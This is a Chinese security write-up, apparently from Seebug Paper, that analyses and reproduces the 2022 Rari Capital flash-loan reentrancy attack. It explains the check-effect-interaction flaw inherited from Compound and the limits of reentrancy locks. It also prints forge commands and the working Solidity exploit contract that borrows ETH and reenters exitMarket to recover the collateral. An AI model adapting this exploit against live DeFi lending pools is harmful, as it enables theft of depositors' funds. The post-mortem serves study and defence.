Rari Capital 攻击事件的分析和复现
2022-5-17 15:23:0 Author: paper.seebug.org(查看原文) 阅读量:29 收藏

作者:w2ning
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

写在前面的废话

4月30日, Rari Capital的几个借贷池遭受闪电贷重入攻击, 约受损8000万美金.

漏洞原理与去年我分析过的Cream 第四次被黑类似, 但攻击方式更加优雅, 故有此文.

漏洞起因: Compound起的坏头

老牌Defi借贷项目Compound在代码实现上存在兼容性问题, 没有遵循check-effect-interaction原则, 简单用人话翻译就是, 针对借贷场景,没有做到先记账, 再转账

https://github.com/compound-finance/compound-protocol/blob/ae4388e780a8d596d97619d9704a931a2752c2bc/contracts/CToken.sol#L786

image

在大部分情况下, 这个逻辑没问题, 但是如果用户借贷的资产为带类似钩子函数的Token,就会引发重入的风险, 攻击者可以在记账之前进行预期之外的恶意操作, 对项目造成大量损失.

当然在Compound开发之初, 可能还没有check-effect-interaction这个说法, 所以我们不能责备他们太多, 而且他们自己非常清楚代码的缺陷, 所以在运营上一直避免引入不兼容的加密资产.

然而仿盘们心里并没有这个哔数.

以去年的Cream为例:

image

其实去年在分析Cream的时候, 我以为只会是孤例, 因为漏洞诞生于2个项目的错误拼接, 触发条件苛刻, 而且Cream上亿美金的损失会给开发者一个长足的教训.

然而现实远非我的预料, 3月的Hundred Finance, VOLTAGE FINANCE. 不到一年时间, 仿盘们以各种姿势, 前赴后继踏入同一条河流.

新的漏洞触发姿势

Rari虽然吸取了前人的教训,没有引入不兼容的Token, 但是自己作死, 在CEther合约中使用了call.value来进行ETH的转账. 首次在不借助合作伙伴的情况下, 自主独立创造了漏洞环境.

https://etherscan.io/address/0xd77e28a1b9a9cfe1fc2eee70e391c05d25853cbf#code

image

更优雅的攻击方式

以往仿盘们的攻击者, 虽然通过重入借贷了2次,但只能选择把原始质押资产留在池子里. 所以单次攻击最大获利为 70% + 70% - 100% = 40%

而这次攻击者虽然只有一次借贷, 但是自己原始的质押资产全身而退, 约等于白嫖了属于是.

image

重入锁的局限性

nonreentrant可以有效的抵御单一合约在单一transaction中的重入风险. 但是对于由多合约构造的复杂应用, 重入锁并不能起到足够的作用. A合约的a函数和B合约的b函数即使都加了重入锁,攻击者依然可以通过A合约的a函数去重入B合约的b函数.

仿盘的自我修养

近一年的时间里, 仿盘们或浑然不知, 或修修补补, 有的项目方给几乎所有核心函数增加nonReentrant防重入锁, 以为万事大吉. 但是依然没有遵循check-effect-interaction原则, 治标不治本, 其实改一下代码顺序就可以....

例如记吃记打的Cream在后续更新版本中, 就更改了转账和记账的顺序

https://etherscan.io/address/0x28192abdb1d6079767ab3730051c7f9ded06fe46#code

image

复现方法

git clone https://github.com/W2Ning/Rari_Fei_Vul_Poc.git && cd Rari_Fei_Vul_Poc
forge test -vvv --fork-url $eth --fork-block-number 14684813

image

核心攻击代码

    function test() public{

        // 前置准备操作1: 查看 fETH_127 中有多少ETH可以借  
        emit log_named_uint("ETH Balance of fETH_127 before borrowing",address(fETH_127).balance/1e18);

        // 前置准备操作2: 因为forge的测试地址上本身有很多的ETH 
        // 所以先把他们都转走, 方便查看攻击所得ETH数量
        payable(address(0)).transfer(address(this).balance);

        emit log_named_uint("ETH Balance after sending to blackHole",address(this).balance);

        // 第一步, 从balancer中通过闪电贷借1500万的USDC
        // 攻击者其实借了1.5亿, 但其实1500万就可以
        // 但是balancer的闪电贷是不收手续费的, 所以借多少都无所谓

        address[] memory tokens = new address[](1);

        tokens[0] = address(usdc);

        uint[] memory amounts = new uint[](1);

        amounts[0] =  150000000*10**6;

        vault.flashLoan(address(this), tokens, amounts, '');

    }

    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    )
        external
    {
        // 没有下面四行会有恶心的warning
        tokens;
        amounts;
        feeAmounts;
        userData;
        // 查看是否成功借到了1500万的USDC

        uint usdc_balance = usdc.balanceOf(address(this));
        emit log_named_uint("Borrow USDC from balancer",usdc_balance);

        // 第二步, 调用fusdc_127的mint函数, 
        // 完成usdc的质押操作

        usdc.approve(address(fusdc_127), type(uint256).max);

        fusdc_127.accrueInterest();

        fusdc_127.mint(15000000000000);

        uint fETH_Balance = fETH_127.balanceOf(address(this));

        emit log_named_uint("fETH Balance after minting",fETH_Balance);

        usdc_balance = usdc.balanceOf(address(this));

        emit log_named_uint("USDC balance after minting",usdc_balance);

        // 第三步, 调用 Unitroller 的 enterMarkets函数

        address[] memory ctokens = new address[](1);

        ctokens[0] =  address(fusdc_127);

        rari_Comptroller.enterMarkets(ctokens);

        // 第四步, fETH_127 的borrow函数, 借1977个ETH

        fETH_127.borrow(1977 ether);

        emit log_named_uint("ETH Balance of fETH_127_Pool after borrowing",address(fETH_127).balance/1e18);

        emit log_named_uint("ETH Balance of me after borrowing",address(this).balance/1e18);

        usdc_balance = usdc.balanceOf(address(this));

        fusdc_127.approve(address(fusdc_127), type(uint256).max);

        fusdc_127.redeemUnderlying(15000000000000);

        usdc_balance = usdc.balanceOf(address(this));

        emit log_named_uint("USDC balance after borrowing",usdc_balance);

        // 第五步, 把1500万的USDC还给balancer

        usdc.transfer(address(vault), usdc_balance);

        usdc_balance = usdc.balanceOf(address(this));

        emit log_named_uint("USDC balance after repayying",usdc_balance);
    }


    receive() external payable {

        rari_Comptroller.exitMarket(address(fusdc_127));

    }

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1903/


文章来源: https://paper.seebug.org/1903/
如有侵权请联系:admin#unsafe.sh